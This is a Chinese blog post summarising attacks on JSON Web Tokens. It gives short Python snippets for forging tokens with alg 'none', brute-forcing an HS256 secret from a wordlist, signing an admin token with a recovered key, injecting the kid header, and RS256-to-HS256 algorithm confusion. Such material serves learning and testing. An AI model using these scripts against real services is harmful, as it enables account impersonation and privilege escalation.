jwt攻击总结

jwt攻击总结,第1张

jwt攻击总结

文章目录
  • 1. 通过修改header中的alg字段实现攻击
  • 2. 通过爆破密钥
  • 3. 修改kid实现攻击
  • 4. 修改加密算法
  • 参考文章

jwt格式举例如下,以点来分割,总共为三部分:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyMzMzIiwibmFtZSI6Im5wZnMiLCJhZG1pbiI6dHJ1ZX0.mcHAMzOrqyqLk5-tmWVp1-zdlqIVcOdv-39oQIoOWoQ

jwt是一种类似于token、session的用户身份凭据。第一段称为header,第二段是payload,这两段都是base64编码可以随便被解密,第三段是signature,是用服务端私钥加密的,是身份验证的关键。

1. 通过修改header中的alg字段实现攻击

条件:服务器端secret配置为none或者undefined

利用node的jsonwentoken库已知缺陷:当jwt的secret为null或undefined时,jsonwebtoken会采用algorithm为none进行验证

安装依赖包

# jwt卸载命令
pip uninstall jwt
# 保险起见,将PyJWT一同卸载
pip uninstall PyJWT
# 重新安装PyJWT
pip install PyJWT
import jwt

print(jwt.encode({"xxx":"xxx"}, key="", algorithm="none"))

2. 通过爆破密钥
import jwt

jwt_json='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyMzMzIiwibmFtZSI6Im5wZnMiLCJhZG1pbiI6dHJ1ZX0.mcHAMzOrqyqLk5-tmWVp1-zdlqIVcOdv-39oQIoOWoQ'
with open('dict.txt',encoding='utf-8') as f:  # 传入字典
        for line in f:
            key = line.strip()
            try:
                jwt.decode(jwt_json,verify=True,key=key,algorithm='HS256') # 指定对称加密算法
                print('found key! --> ' +  key)
                break
            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('found key! --> ' +  key)
                break
            except(jwt.exceptions.InvalidSignatureError):
                print('verify key! -->' + key)
                continue
        else:
            print("key not found!")

c-jwt-cracker

上面种工具都可以

知道secret后就可以随便伪造身份。

的到密钥后通过jwt解码网站来进行二次加密,得到想要用户的凭据:

也可以使用python脚本:

import jwt

print(jwt.encode({"sub": "1234567890","name": "John Doe","admin":"true"}, key="Sn1f", algorithm="HS256"))
3. 修改kid实现攻击

kid是header部分,也就是第一部分中的一个字段,如果服务端未对kid进行安全过滤,那么我们可以指定任意kid来作为服务端解密的secret,达到任意身份验证的目的。

import jwt

jwt.encode({"xxx":"xxx"},key="xxx",algorithm='HS256',headers={"kid":"xxx"})

同时也有如下的攻击方式:

4. 修改加密算法

条件:知道服务端的加密公钥,当 header 头部指定签名算法为 RSA 非对称加密算法时,可以替换为 HMAC 对称加密算法,也就是将alg的值替换为HS256。并且通过获取到的公钥重新做签名,服务端在做验证的时候可能会使用自己的公钥进行解密验证。

参考文章

https://www.cnblogs.com/wjrblogs/p/14361834.html
jwt解码网站
https://mp.weixin.qq.com/s/D_SSmWqSGDUFonOrQ3AAJQ

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5689536.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存